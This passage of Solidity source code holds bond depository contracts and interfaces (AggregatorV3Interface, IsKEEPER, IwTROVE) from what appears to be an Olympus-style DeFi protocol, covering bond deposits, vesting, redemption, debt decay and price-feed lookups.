address(0) ); bondCalculator = _bondCalculator; require( _feed != address(0) ); priceFeed = AggregatorV3Interface( _feed ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); require( currentDebt() == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 3 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer ) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage /** asset carries risk and is not minted against asset transfered to treasury and rewards minted as payout */ IERC20( principle ).safeTransferFrom( msg.sender, treasury, _amount ); ITreasury( treasury ).mintRewards( address(this), payout ); // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); IERC20( KEEPER ).approve( staking, payout ); IStaking( staking ).stake( payout, address(this), false ); IStaking( staking ).claim( address(this) ); uint stakeGons = IsKEEPER(sKEEPER).gonsForBalance(payout); // depositor info is stored bondInfo[ _depositor ] = Bond({ gonsPayout: bondInfo[ _depositor ].gonsPayout.add( stakeGons ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info uint _amount = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); emit BondRedeemed( _recipient, _amount, 0 ); // emit bond data return sendOrWrap( _recipient, _wrap, _amount ); // pay user everything due } else { // if unfinished // calculate payout vested uint gonsPayout = info.gonsPayout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ gonsPayout: info.gonsPayout.sub( gonsPayout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); uint _amount = IsKEEPER(sKEEPER).balanceForGons(gonsPayout); uint _remainingAmount = IsKEEPER(sKEEPER).balanceForGons(bondInfo[_recipient].gonsPayout); emit BondRedeemed( _recipient, _amount, _remainingAmount ); return sendOrWrap( _recipient, _wrap, _amount ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to wrap payout automatically * @param _wrap bool * @param _amount uint * @return uint */ function sendOrWrap( address _recipient, bool _wrap, uint _amount ) internal returns ( uint ) { if ( _wrap ) { // if user wants to wrap IERC20(sKEEPER).approve( wTROVE, _amount ); uint wrapValue = IwTROVE(wTROVE).wrap( _amount ); IwTROVE(wTROVE).transfer( _recipient, wrapValue ); } else { // if user wants to stake IERC20( sKEEPER ).transfer( _recipient, _amount ); // send payout } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e14 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice get asset price from chainlink */ function assetPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { price_ = bondPrice() .mul( IBondCalculator( bondCalculator ).markdown( principle ) ) .mul( uint( assetPrice() ) ) .div( 1e12 ); } function getBondInfo(address _depositor) public view returns ( uint payout, uint vesting, uint lastTime, uint pricePaid ) { Bond memory info = bondInfo[ _depositor ]; payout = IsKEEPER(sKEEPER).balanceForGons(info.gonsPayout); vesting = info.vesting; lastTime = info.lastTime; pricePaid = info.pricePaid; } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms as reserve bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = IsKEEPER(sKEEPER).balanceForGons(bondInfo[ _depositor ].gonsPayout); if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IsKEEPER is IERC20 { function rebase( uint256 profit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external override view returns (uint256); function gonsForBalance( uint amount ) external view returns ( uint ); function balanceForGons( uint gons ) external view returns ( uint ); function index() external view returns ( uint ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IwTROVE is IERC20 { function wrap(uint _amount) external returns (uint); function unwrap(uint _amount) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IBondCalculator.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IStaking.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract VLPBondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable bondCalculator; // calculates value of LP tokens AggregatorV3Interface internal priceFeed; address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint32 vestingTerm; // in seconds uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value. 4 decimals (1500 = 0.15) uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction uint payout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in blocks) between adjustments uint32 lastTime; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _KEEPER, address _principle, address _staking, address _treasury, address _bondCalculator, address _feed) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _staking != address(0) ); staking = _staking; require( _bondCalculator != address(0) ); bondCalculator = _bondCalculator; require( _feed != address(0) ); priceFeed = AggregatorV3Interface( _feed ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); decayDebt(); require( totalDebt == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 3 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer ) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage /** asset carries risk and is not minted against asset transfered to treasury and rewards minted as payout */ IERC20( principle ).safeTransferFrom( msg.sender, treasury, _amount ); ITreasury( treasury ).mintRewards( address(this), payout ); // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (seconds since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, _wrap, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, _wrap, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, bool _wrap, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( KEEPER ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake IERC20( KEEPER ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, _wrap ); } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e14 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice get asset price from chainlink */ function assetPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { price_ = bondPrice() .mul( IBondCalculator( bondCalculator ).markdown( principle ) ) .mul( uint( assetPrice() ) ) .div( 1e12 ); } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms as reserve bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IStaking.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract VBondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable DAO; // receives profit share from bond AggregatorV3Interface internal priceFeed; address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint32 vestingTerm; // in seconds uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value. 4 decimals (1500 = 0.15) uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction uint payout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in blocks) between adjustments uint32 lastTime; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _KEEPER, address _principle, address _staking, address _treasury, address _DAO, address _feed) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; require( _staking != address(0) ); staking = _staking; require( _feed != address(0) ); priceFeed = AggregatorV3Interface( _feed ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); require( currentDebt() == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 3 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer ) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage /** asset carries risk and is not minted against asset transfered to treasury and rewards minted as payout */ IERC20( principle ).safeTransferFrom( msg.sender, treasury, _amount ); ITreasury( treasury ).mintRewards( address(this), payout ); // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (seconds since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, _wrap, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, _wrap, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, bool _wrap, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( KEEPER ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake IERC20( KEEPER ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, _wrap ); } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e14 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint 